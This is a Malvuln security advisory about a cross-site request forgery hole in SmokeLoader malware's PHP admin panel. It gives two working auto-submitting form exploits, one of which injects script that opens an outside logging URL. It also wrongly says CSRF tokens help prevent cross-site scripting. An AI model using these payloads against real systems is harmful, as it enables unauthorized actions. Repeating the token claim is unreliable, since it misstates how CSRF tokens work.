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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/4b5fc3a2489985f314b81d35eac3560f_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Panel.SmokeLoader
Vulnerability: Cross Site Request Forgery (CSRF)
Family: SmokeLoader
Type: Web Panel
MD5: 4b5fc3a2489985f314b81d35eac3560f  (control.php)
SHA256: 8d02238577081be74b9ebc1effcfbf3452ffdb51f130398b5ab875b9bfe17743
Vuln ID: MVID-2024-0682
Disclosure: The smokebot admin web panel is written in PHP for remote
administration capability. The panel has multiple features like Bot List,
Task List, Stealer, Miner, Email Grab, KeyLogger etc. The "control.php" PHP
page contains an HTML FORM using POST method, however there is no CSRF
security token used by the FORM. This is a unique token per session within
the FORM, used as a challenge to the server to help prevent
cross-site-scripting attacks. Therefore, third-party adversaries who can
lure a panel user to visit an attacker controlled webpage or click an
infected link may result in the panel users submitting FORMS on an
attackers behalf. This may result in code execution, data theft, GEO
location disclosure.


Exploit/PoC:
1) CSRF to add your own Miner Pool

%3Cform method="post" action="
http://127.0.0.1/Panel.SmokeLoader/SmokeLoader/Smoke/control1.php?page=miner
"%3E
Pool: %3Cinput type="input" name="miner_pool" size="30"
value="MyPoolFool:666"%3E
Login: %3Cinput type="input" name="miner_login" size="20" value="gg"%3E
Password: %3Cinput type="input" name="miner_pass" size="20"
value="malvuln"%3E
%3Cinput type="hidden" name="mode" value="miner"%3E
%3Cinput type="submit" value="SAVE"%3E
%3Cscript%3Edocument.forms[0].submit()%3C/script%3E
%3C/form%3E

2) CSRF to XSS

%3Cform method="post" action="
http://127.0.0.1/Panel.SmokeLoader/SmokeLoader/Smoke/control1.php?page=miner
"%3E
Pool: %3Cinput type="input" name="miner_pool" size="30"
value=""/%3E%3Cscript%3Ewindow.open('
https://www.malvuln.com/log.php')%3C/script%3E"%3E
Login: %3Cinput type="input" name="miner_login" size="20" value=""%3E
Password: %3Cinput type="input" name="miner_pass" size="20" value=""%3E
%3Cinput type="hidden" name="mode" value="miner"%3E
%3Cinput type="submit" value="SAVE"%3E
%3Cscript%3Edocument.forms[0].submit()%3C/script%3E
%3C/form%3E


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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